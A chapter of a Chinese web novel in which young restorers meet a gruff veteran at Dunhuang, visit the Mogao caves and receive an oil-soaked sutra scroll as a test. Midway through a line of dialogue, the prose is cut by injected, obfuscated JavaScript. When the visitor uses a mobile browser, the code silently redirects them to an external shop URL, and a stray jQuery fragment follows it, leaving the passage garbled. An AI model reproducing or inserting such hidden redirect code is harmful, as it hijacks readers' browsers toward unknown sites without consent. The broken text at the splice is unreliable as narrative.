晚饭后，几个人在院子里纳凉。
院子里有棵老榆树，树下坐着个老头，正就着将尽的残阳修一把旧马扎。
他手指粗大，满覆厚茧，动作却极稳。
“老石，这是新来的修复组成员。”樊主任介绍，“这位是石师傅，院里二十来年工龄的老修复师，经他手修补的壁画，不知道有多少。”
石师傅抬起头，目光在周晚晴的雪纺衬衫和耿若韫的皮带上停了一瞬，最后落在叶轻辞脸上。
“手伸出来。”他说。
三个姑娘愣了一下。
周晚晴看看叶轻辞，后者率先把手伸了过去，另外两个随即照做。
石师傅没起身，只随手把马扎往旁边一搁，就着暮色挨个看了一遍。
他看得很细，掌心、指腹和虎口都瞧。
周晚晴这边，他“嗯”了一声，没说什么。
耿若韫这边，他哼了一下，还是没说话。
轮到叶轻辞，指尖有薄茧，掌心却光滑。
石师傅沉默了几秒，道：“都细皮嫩肉的，要是受不了这苦，趁早转行。”
周晚晴张了张嘴想说什么，被他抬手止住。
“我十六岁进洞窟，”他拿起马扎继续敲钉子，语气淡淡，“头三年，手上没一块好皮。磨出血，结痂；再磨破，再结痂……后来茧子长实了，才算入行。”
钉子敲进木头里，“笃”的一声，震撼人心。
“你们这个手，干不了重活，修不了壁画。”他把马扎翻过来检查，淡淡点评。
此言一出，院子里顿时安静下来。
榆树的影子被夕阳拉得很长，风从戈壁那边吹过来，沙沙响。
叶轻辞手垂在身侧。
“石师傅，”她说，“活干多了，茧子自然会磨出来的，您瞧好吧。”
石师傅表情淡淡：“那你就试试看。”
语毕，就不理人了。
“石师傅脾气直，但手艺是真的强。”樊主任在旁边笑了笑，打圆场，“行了姑娘们，毛巾脸盆什么的都领了？先安顿休息吧，明天去库房看经卷。”
三人齐声道：“好。”
回到宿舍，周晚晴坐在床沿上，双手举到眼前翻来覆去地看。
“怎么这样啊。”她嘟囔着，“一来就看手上的茧子，咱们又不是搬砖的。”
耿若韫正蹲在地上解鞋带，头也没抬道：“他也没说错，我手上确实没有一点茧子。”
解完，她把手伸出来，五指修长白净，指腹光滑。
“你又不是专门搞修复的，日常都戴手套呢，当然没有。”周晚晴笑道，“我手上，主要也就是握笔磨出来的一点——”
她摊开掌心，确实隐隐有几处薄薄的印子，不仔细看根本瞧不见。
叶轻辞没参与讨论，认真调试着高光谱仪。
沙漠干燥，静电强，仪器需要重新校准。
直到周晚晴忽然问她：“若韫带手套也就算了，轻辞，你不会也带了吧？”
“嗯。”叶轻辞点头，语气自然，“修复不就应该保护好自己的手吗？”她确认仪器可以正常使用，从工具箱里翻找出一双薄手套，“喏，你也备一份？贴手戴，能防打滑。”
周晚晴接过去摸了摸，又薄又软，喜出望外：“你还有？那我可就不客气了。”
叶轻辞笑道：“不客气，我姑姑做的，还有好几双。”
耿若韫也好奇，伸手试过，歪头问：“轻辞，我能看看你的手么？”
“当然。”
叶轻辞把手伸出来，翻了个面。
女孩子熟了之后是这样，凑前细瞧不够，还要上手摸摸才算心满意足。
“确实诶，手感很不一样。”耿若韫惊讶。
“在条件有限的情况下，确实没办法。”叶轻辞道，“有时候用刀片切补纸，拾掇纸页，稍不留神手上就可能会划开小口子……要是有点茧子的话，能省很多事，也更能保护自己。”
周晚晴露出若有所思的表情：“你是有认识的人这样？我们之前的小伙伴，还是征姨？”
“不是，是我师父。”叶轻辞摇头，“他手上茧子很明显，但手感一点没丢。该轻的时候轻，该重的时候重。不管是用刀还是用镊子，很少有受伤的时候。”
周晚晴轻轻摩挲着指头。
耿若韫也停下了手上的动作，低头看了看自己的手。
叶轻辞拍了拍膝盖。
“不想了。”她说，“明天还要早起，差不多就洗漱睡吧。”
灯熄。
月亮从大漠中探出头，明亮依旧，静默不语。
……
第二天清晨，一行人前往莫高窟。
车子驶过沙地，拐过山弯，九层楼的飞檐赫然出现。
紧接着，整面崖壁上密密麻麻的洞窟撞进视野，如蜂巢，似佛眼，重重叠叠，堪称奇景。
下车后，风裹着细沙从戈壁一侧吹来，模糊了眼睛。
一千六百年的历史，就这样映入眼帘。
叶轻辞仰着头，第一次感到语言的苍白。
风沙扑面，阳光刺眼，莫高窟的照片翻过无数遍，录制影像再还原，都不及这一刻的亲眼所见。
气势恢宏，压得人喘不过气。
叶轻辞表情认真，目不转睛。
周晚晴站在她旁边，嘴唇动了动，没发出声音。
耿若韫摘下眼镜擦了擦又戴上，似乎是想看得更清楚些。
“现在开放的洞窟不多，修复中的更少。”樊主任率先打破沉默，引着众人往北区走，“你们要修的经卷，来自北区新清理的洞窟，编号B247，是个小储藏窟，废弃后被流沙掩埋，去年才清理出来。”
沙地松软，一脚下去没过鞋面。
叶轻辞面色不改，周晚晴却放弃了挣扎，边走边嘟囔：“排到247了……这么多，怎么修得完？”
“慢慢来。”石师傅走在最后面，淡声道，“能修一个是一个。”
进入洞窟的瞬间，温度骤降，像是从夏天一脚踏进秋天。
“嗒”地一声，樊主任打开手电。
光束扫过黑暗，壁画上菩萨眉眼低垂，衣带飘决，仿佛下一刻便要飞天而去。
七宝栏楯，楼阁相对，金沙铺地，富丽繁华。
夺目的朱砂红，别样的石青绿，与金箔残片的光彩熠熠巧妙地融合在一起。
叶轻辞的目光上移，落在临近壁顶的区域。
那里的色彩剥落得厉害，露出底层的草泥，草泥上似乎还能看见画师留下的粉本痕迹。
“这些，不急着修么？”她问。
“当然急。”石师傅的手指虚虚拂过墙上的裂缝，“只是有剥落得更厉害的，那些更着急。”
他往前走了一步，手电的光落在壁画上。
“这是《西方净土变》。”石师傅的声音在洞窟里回荡，略显奇异，“中间是坐佛，两边立菩萨，下面有伎乐若干……整面墙讲的是极乐世界的故事。”
周晚晴仰着头，脖子酸了都舍不得低下来：：“太美了！”
“美？修复起来才知道这背后耗费了多少人多少心血，什么叫做‘失之毫厘
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17464340|194440||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
，差之千里’。”石师傅语气没什么起伏，抬手指向坐佛，“你们看这里。”
手电光下，佛陀的左颊有一片拇指盖大小的颜料起甲，边缘翘起。
再往左移，藻井一角有大面积的烟熏痕迹，不知是何时的香火留下的阴影。
“这还算是保存好的。”石师傅面无表情，声音里透着一股心疼，“有些洞窟，壁画大面积空鼓、畸裂、剥离……就剩了些零零碎碎的墙皮。你们打外头看，是密密麻麻的洞窟，壮观又惊奇；进来一瞧，才晓得什么叫做表面光鲜亮丽，内里满目疮痍。”
叶轻辞忽然有些明白，石师傅昨天为什么说那些话。
他对这些壁画的心疼，已刻进了骨子里。
怕她们经不起事，更怕她们糟蹋东西。
正是因为在乎，所以才严厉。
“这些壁画，用的都是天然矿物颜料？”耿若韫蹲下来，凑近看一块脱落的色层，“朱砂、青金、石绿……要无色差调配出来，怕是不容易。”
“嗯。”石师傅看了她一眼，“颜料配不上，补上去的颜色就劣。远看像那么回事，近看一下就知道是新的。”他顿了顿，又补了一句，“经卷也一样。那些纸墨，都是百千年的老东西，找不到一模一样的，就得自己试、自己制，哪里会容易。”
叶轻辞不语，听着风从洞口灌进来的声音，似叹息、如低语，忽然觉得身上的担子又重了几分。
从洞窟出来，阳光刺得一行人齐齐眯起眼睛。
风沙比来时更大了，打在脸上生疼。
樊主任领着他们往研究院主楼走，一边道：“壁画你们看过了，现在去看看经卷。库房在主楼地下室，条件比洞窟好，恒温恒湿。”
周晚晴拍着身上的沙，笑着叹气：“总算有个舒服的地方了。”
闻言，樊主任但笑不语。
石师傅却挑眉，语气扬了扬：“舒服？怕是不行。”
周晚晴咬了咬舌尖，不敢再接话。
入室，下行。
推开厚重的铁门，阴凉干燥的空气涌出，带着几分旧纸的气息。
厚重的金属档案架上，一溜特制的囊匣摆放得整整齐齐。
一个长匣被单独取出，放在一侧的长桌上，静静等待着有缘人的来临。
“就是这个了，受损程度虽浅，却极具代表性。”樊主任小心打开盖子，侧身让开，“小叶组长，瞧瞧？”
叶轻辞走近观察。
纸张几乎被深褐色的油污浸透，板结得有些硬，部分粘连在一起。
柔和的灯光打上去，油面三分透七分吸，色泽暗沉叫人难以相信这是纸张能呈现的样子。
旁边的标签写着：“归义军时期，纸质经卷，重度混合油污污染，粘连严重，无法展开。”
“这是酥油，还是动物油脂？”叶轻辞问。
她会有此一问，是因为这个状态和在京华时遇到的那卷完全不同。
更加浑浊粘稠，渗透得也更深，处理起来怕不是更加费劲。
“谁知道呢。”石师傅从口袋里摸出一点烟叶，直接叼在嘴里，“这是你们的考题。”
叶轻辞点头：“您说的是。”
很明显，对方主职是修复壁画，纸质古籍这一块，得靠她们自己。
“修好了，是少年英雄，我这块硬石头也服你；修不好，便趁早离去，省得惹得一身腥，平白背上糟践国宝的罪名。”
叶轻辞却反问：“事了才该拂衣而去，大敌当前，哪有不战而退的道理？”
闻言，石师傅露出些许意外的表情。